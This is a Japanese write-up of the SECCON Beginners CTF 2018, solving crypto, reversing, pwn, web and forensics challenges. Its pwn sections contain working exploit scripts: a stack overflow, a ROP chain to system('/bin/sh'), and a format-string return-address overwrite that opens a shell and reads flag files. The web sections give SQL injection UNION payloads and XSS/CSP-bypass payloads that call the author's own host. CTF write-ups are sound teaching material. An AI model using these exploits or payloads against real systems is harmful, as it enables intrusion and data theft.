114
98

More than 5 years have passed since last update.

# SECCON Beginners CTF 2018 Write-up

Last updated at Posted at 2018-05-27

SECCON Beginners CTF 2018 Write-up

# Crypto

## [Warmup] Veni, vidi, vici

ファイルが3個。

Gur svefg cneg bs gur synt vf: pgs4o{a0zber

The first part of the flag is: ctf4b{n0more

{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥


1個目は、ROT13。2個目は8文字ずらす。3個目は180度回転。

The first part of the flag is: ctf4b{n0more
The second part of the flag is: _cLass!cal_c
The third part of the flag is: Rypt0graphy}


ctf4b{n0more_cLass!cal_cRypt0graphy}

## RSA is Power

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316


200ビットちょっとのRSA。この程度のビット数なら、msieveで2分くらいで素因数分解できる。正攻法で解けば良い。

Nを素因数分解すると$299681192390656691733849646142066664329\times324144336644773773047359441106332937713$。

solve.py
def exgcd(m, n):
if n>0:
y,x,d = exgcd(n, m%n)
return x, y-m/n*x, d
else:
return 1, 0, m

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713
d = exgcd(E, (p-1)*(q-1))[0] % ((p-1)*(q-1))
P = pow(C, d, N)
print ("%x"%P).decode("hex")


ctf4b{5imple_rs4_1s_3asy_f0r_u}

## Streaming

ストリーム暗号seedとして64ビットの乱数を渡しているものの、seed % self.Cとして使われ、C = 34607。全てのseedを試せば良い。

solve.py
class Stream:
：

for seed in range(34607):
g = Stream(seed)
flag = ""
for i in range(0, len(enc), 2):
a = ord(enc[i]) + ord(enc[i+1])*256
a ^= g.next()
flag += chr(a/256) + chr(a%256)
print seed, flag

$python solve.py 32495 ctf4b{lcg-is-easily-predictable}  ctf4b{lcg-is-easily-predictable} ## Well Known この問題が面白かった。 $ nc crypt1.chall.beginners.seccon.jp 31337
p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
1234
r = 21183250010359952806345122199015360642338725222737198513375283413383256132564
s = 36619232422612186792893409826912120542431864274384435239388224437543194174673
5678
r = 52883516820858375951883658778458908842158291321833812874960538246118025719949
s = 38272579346732565596266925322623659649576880441070283686962472416114312432527
abcd
r = 42916661205479218449094254775545760042632974514727200508342979651155729786746
s = 73609086218427341451086400580034668272675991946938894384373008773538778902072
Bye.


ElGamal署名だった。「二つの別々のメッセージに同じ乱数kで署名を行った場合、攻撃者は直接xを得ることが可能になる」と書かれている。具体的な方法はこの動画で説明されていた。要は、変数が一つ減ったことで代数的に解けるということだろうか。

$nc crypt1.chall.beginners.seccon.jp 31337 p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929 q = 88967137731772648680425587173543061937973706623745105800741828685065752059867 g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616 Input your data (in hex): 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1 r = 64848611523130438744313129939348180691266668409577214622772178725477814389504 s = 8978472509224036527515663531932899733739119377977868324278588823158777659676 Input your data (in hex): 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1 r = 64848611523130438744313129939348180691266668409577214622772178725477814389504 s = 66078837985264647705939274457378061453221461868280624730167528869291273226897 Input your data (in hex): 00 r = 41587201935967282981765982098114759323903928399977527851983400789192853925147 s = 22357638860429299406335781378506993048043434793209548086385190575198656954841 Bye.  solve.py import hashlib m1 = "255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1" m2 = "255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1" m1 = int(hashlib.sha256(m1.decode("hex")).hexdigest(), 16) m2 = int(hashlib.sha256(m2.decode("hex")).hexdigest(), 16) p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929 q = 88967137731772648680425587173543061937973706623745105800741828685065752059867 g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616 r = 64848611523130438744313129939348180691266668409577214622772178725477814389504 s1 = 8978472509224036527515663531932899733739119377977868324278588823158777659676 s2 = 66078837985264647705939274457378061453221461868280624730167528869291273226897 def inv(x): return pow(x, q-2, q) k = (m1-m2)*inv(s1-s2) x = (s1*k-m1)*inv(r)%q print hex(x)[2:-1].decode("hex")  問題のスクリプトを読むとp, q, gは繋ぐ度に生成されそうだけど、変わらないのはなぜだろう？ ctf4b{be_c4reful_w1th_k} # Pwn ## [Warmup] condition 指定されたサーバーに繋いだら、こんな感じ。 Please tell me your name...hogehoge Permission denied  「え、とっかかりが分からない。難しくない！？」となったけど、ちゃんと問題を見たらサーバーのプログラムが配布されていた。逆アセンブルすると、読み込みバッファの直後の変数が0xdeadbeefならフラグが表示されるようになっていた。 $ printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde\n' | nc pwn1.chall.beginners.seccon.jp 16268
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}


ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

## BBS

こんな感じ。

$nc pwn1.chall.beginners.seccon.jp 18373 Input Content : hogehoge ============================== Sun May 27 02:49:24 JST 2018 hogehoge ==============================  ハンド逆アセンブル。 #include <stdio.h> int main() { char buf[128]; printf("Input Content : "); gets(buf); puts("==============================\n"); system("date"); printf("%s\n\n==============================\n"); }  とてもわかりやすいスタックバッファーオーバーフローがある。getsが読み込みを終了するのは\nだけなので、NUL文字を書き込むこともできる。コード中にsystemも用意してくれている。なので、簡単……かと思いきや、意外とハマった。x64だから、引数はスタックに積むのではなくrdiで渡す。そもそも、どこかから/bin/shという文字列を持ってこないといけない。 ということで、Return Oriented Programmingでgets(書き込み可能なアドレスA); system(A)を実行する。逆アセンブル結果には、pop rdi; retが見つからないけれど、gdb-pedaで、プログラムを実行中にdumpropを叩くと出てきた。pop r15にはpop rdiが含まれていた。 gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7-rop.txt ...
0x40074f: ret
0x40065a: repz ret
0x4006f8: leave; ret
0x4005f0: pop rbp; ret
0x400763: pop rdi; ret
0x400762: pop r15; ret

solve.py
from socket import *
from time import *
from struct import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("pwn1.chall.beginners.seccon.jp", 18373))
print s.recv(10000)
t = "a"*136
t += pack("<Q", 0x400763) # pop rdi; ret
t += pack("<Q", 0x601058) # bss
t += pack("<Q", 0x400570) # gets
t += pack("<Q", 0x400763) # pop rdi; ret
t += pack("<Q", 0x601058) # bss
t += pack("<Q", 0x400540) # system
t += "\n"
s.send(t)
s.send("/bin/sh\n")

t = Telnet()
t.sock = s
t.interact()

$python solve.py Input Content : ============================== Sun May 27 03:13:04 JST 2018 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac@ ============================== ls -al total 36 drwxr-x--- 2 root bbs 4096 May 19 01:16 . drwxr-xr-x 7 root root 4096 May 19 01:16 .. -rw-r----- 1 root bbs 220 Sep 1 2015 .bash_logout -rw-r----- 1 root bbs 3771 Sep 1 2015 .bashrc -rw-r----- 1 root bbs 655 May 16 2017 .profile -rwxr-x--- 1 root bbs 8872 May 19 01:16 bbs -rw-r----- 1 root bbs 63 May 19 01:16 flag.txt cat flag.txt ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5} exit *** Connection closed by remote host ***  ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5} ## Seczon これが最後まで残った。 $ nc pwn1.chall.beginners.seccon.jp 21735
+---------------------+
|      Seczon.com     |
+---------------------+
|2) Comment a item    |
|3) Show a item       |
|4) Delete a item     |
+---------------------+
Action:
>> 1
Input item name
>> hoge
Action:
>> 2
Choose item ID
>> 0
Input a comment
>> fuga
Confirmation
hoge
fuga
Action:
>> 3
Choose item ID
>> 0
hoge
fuga


Action:
>> 2
Choose item ID
>> 0
Input a comment
>> %x %x %x %x
Confirmation
a


one-gadget RCE in Ubuntu 16.04 libc · うさぎ小屋

1. %n$xでスタック中のスタックのアドレスやlibcのアドレスをリークさせる 2. one-gadget RCEのアドレス、printfの引数のアドレス、comment関数から戻るときのアドレスを計算する 3. comment関数から戻るときのアドレスをone-gadget RCEで上書きする このプログラムはmain関数から戻ることはないので、そこを上書きしても意味が無い。comment関数から戻るときのアドレスを上書きするので一度に書き換えなければならず、コメントの文字数の制限がきついので大変だった。1バイトずつではなく2バイトずつ書き込んで何とかなった。 追記 なぜか「main関数から戻ることはない」と思い込んでいた。main関数からの戻り先を2回に分けて書き換えれば、printfで大きな出力をしなくても、解けそう。 solve.py from socket import * from time import * from struct import * from telnetlib import * s = socket(AF_INET, SOCK_STREAM) s.connect(("pwn1.chall.beginners.seccon.jp", 21735)) sleep(1) print s.recv(1000) s.send("1\n") sleep(1) print s.recv(1000) s.send("hoge\n") sleep(1) print s.recv(1000) s.send("2\n") sleep(1) print s.recv(1000) s.send("0\n") sleep(1) print s.recv(1000) s.send("%18$x %23$x\n") sleep(1) d = s.recv(1000) print d t = [int(x, 16) for x in d.split("\n")[2].split(" ")] stack = t[0] libc = t[1] print "stack %08x" % stack print "libc %08x" % libc rce = libc - 0x18637 + 0x3ac69 print "rce %08x" % rce s.send("2\n") sleep(1) print s.recv(1000) s.send("0\n") sleep(1) print s.recv(1000) attack = ( "___" + pack("<I", stack-0xffffd5c8+0xffffd5bc) + pack("<I", stack-0xffffd5c8+0xffffd5be) + "%%%dc" % ((rce%0x10000 - 11)%0x10000) + "%7$n" +
"%%%dc" % ((rce/0x10000 - rce%0x10000)%0x10000) +
"%8$n" + "\n") print len(attack), repr(attack) s.send(attack) t = Telnet() t.sock = s t.interact()  +---------------------+ | Seczon.com | +---------------------+ |1) Add a item | |2) Comment a item | |3) Show a item | |4) Delete a item | +---------------------+ Action: >> Input item name >> Action: >> Choose item ID >> Input a comment >> Confirmation hoge ffd06478 f753c637 Action: >> stack ffd06478 libc f753c637 rce f755ec69 Choose item ID >> Input a comment >> 33 '___ld\xd0\xffnd\xd0\xff%60510c%7$n%2796c%8$n\n' Confirmation hoge ___ldﾐdﾐ ： ls -al total 36 drwxr-x--- 2 root seczon 4096 May 19 01:16 . drwxr-xr-x 7 root root 4096 May 19 01:16 .. -rw-r----- 1 root seczon 220 Sep 1 2015 .bash_logout -rw-r----- 1 root seczon 3771 Sep 1 2015 .bashrc -rw-r----- 1 root seczon 655 May 16 2017 .profile -rw-r----- 1 root seczon 51 May 19 01:16 flag.txt -rwxr-x--- 1 root seczon 11984 May 19 01:16 seczon cat flag.txt ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4} exit *** Connection closed by remote host ***  ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4} # Reversing ## [Warmup] Simple Auth 逆アセンブルして読む。 ctf4b{rev3rsing_p4ssw0rd} ## Activation .NET。dnSpyが良い。 solve.py d = open("Activation.exe", "rb").read()[0x3b9c:0x3cf5] d = list(d) for i in range(len(d)): d[i] = chr((ord(d[i]) ^ i ^ 170) & 0xff) d = "".join(d) print d idx = [0, 15, 50, 85, 103, 111, 127, 130, 151, 156, 185, 249, 259, 270, 297, 334] for i in range(len(idx)): print idx[i], d[idx[i]:idx[i+1]] if i+1<len(idx) else d[idx[i]:]  で、暗号化されている文字列が復号できる。 アクティベーションコードを暗号化して、プログラム中の文字列と一致しているかをチェックしているので、逆にプログラム中の文字列を復号する。 solve.py from Crypto.Cipher import AES E = "E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5".decode("base64") aes = AES.new("SECCON_BEGINNERS", AES.MODE_ECB, "CTF4B7E1"*2) print repr(aes.decrypt(E))  ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5} ## crackme 逆アセンブルして解析。 solve.py K = [ 0x9c,0x9e,0x8c,0x3e,0x68,0x64,0x7b,0x3f, 0x50,0x63,0x0a,0x7f,0x55,0x73,0x1e,0x64, 0x3c,0x55,0x7b,0x6e,0x60,0x5d,0x34,0x26, 0x26,0x65,0x6d,0x37,0x39,0x79,0x3f,0x28, ] s = 0xff for i in range(0, 16, 4): K[i] ^= s s ^= 0x15 K[i+1] ^= s s |= 0x20 K[i+2] ^= s s &= 0x0f K[i+3] ^= s for i in range(16, 32, 4): K[i] ^= s s &= 0x0a K[i+1] ^= s s /= 3 K[i+2] ^= s s ^= 0x55 K[i+3] ^= s print "".join(map(chr, K))  ctf4b{D0_y0u_l!k3_x86_4ssembly?} ## Message from the future 2020年からメッセージが届きました。 0f242e412b34212e3d65501c2d7e597f47395c0751675a2b13567d5f3c7b6a1d70540a684d604759 メッセージはこのプログラムによって暗号化されています。 とのこと。 プログラムを動かしてみると、出力は、入力の対応する位置の文字と、実行時の年月のみに依存していることが分かる。2020年1月から12月まで日付を変えながら、ctf4b{をエンコードして0f242e412b34となる月を探す。8月だった。オリンピック？ あとは、日付を2020年8月にして、!!!!!!!!...""""""""...########...、…を暗号化し、それぞれの位置で暗号文の文字を探せば良い。Reversingは不要。暗号文が00になると、なぜか以降の文字が出力されなくなるので、そこだけ文字を変えたりする。面倒。 ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?} # Web ## [Warmup] Greeting Cookieにname=adminを書き込むのが想定解っぽいけど、普通に入力欄にadminと入れて、（POSTではなくGETで）ページを再読込すればフラグが出てくる。 ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!} ## Gimme your comment ビギナーズカンパニーは皆様からのご意見をお待ちしています。 お問合わせの回答には特別なブラウザを使用しており、このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-) 手元にサーバーを立ち上げて、問い合わせの本文に<img src="http://自分のIPアドレス">を書き込む。 ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6} ## SECCON Goods XHRで読みこんでいる/items.php?minstock=0にSQL Injectionがある。色々試すとMySQLらしい。0 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--で、flagというテーブルがあることが分かる。0 UNION SELECT flag,2,3,4,5 FROM flag--でフラグが出てくる。DBエンジンの推測より先にSELECT flag FROM flagを試すべきだった。 ctf4b{cl4551c4l_5ql_1nj3c710n} ## Gimme your comment REVENGE 脆弱性が直ってなくない？と思ったら、Content-Security-Policy: default-src 'self'ヘッダが設定されていた。これでは手元のサーバーにリクエストが飛ばない。 偽のフォームを用意すれば良い。 <form action="http://自分のIPアドレス"> <input name="comment_content"> <button type="submit"> </form> <!--  ctf4b{d3f4ul7_5rc_15_n07_3n0u6h} # Misc ## [Warmup] Welcome フラグは公式IRCチャンネルのトピックにあります。 「近頃の若いもんは、コンテスト終了後にIRCで情報交換をしないからいかん」ということだろうか？w ctf4b{welcome_to_seccon_beginners_ctf} ## [Warmup] plain mail 「パスワードは別のメールでお送りします」というやつ。Wiresharkで開いて、Follow → TCP Streamで見やすくなる。 ctf4b{email_with_encrypted_file} ## てけいさんえくすとりーむず $ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
821 * 851 = 698671
(Stage.2)
693 - 548 = 145
(Stage.3)
788 - 903 = 0
[!!] Wrong, see you.


300問答えるとフラグが出てくる。

solve.py
from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("tekeisan-ekusutoriim.chall.beginners.seccon.jp", 8690))

t = ""
while len(t)==0 or t[-1]!="\n":
t += s.recv(1)
return t[:-1]

for _ in range(11):

for _ in range(100):
q = s.recv(100)
print q
s.send("%s\n" % eval(q[:-3]))

print s.recv(100)


ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

## Find the messages

FTK Imagerを使った。

File → Add Evidence Item... → Image File。message_1_of_3.txtはbase64。message_2_of_3.pngはシグネチャ部分が潰されているので、先頭8バイトを89 50 4e 47 0d 0a 1a 0aに書き換える。message_3_of_3.pdfはなぜか出てこないので、問題のイメージを%PDFで検索して切り出した。

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}

114
98
0

Register as a new user and use Qiita more conveniently

1. You get articles that match your needs
2. You can efficiently read back useful information
3. You can use dark theme
What you can do with signing up
114
98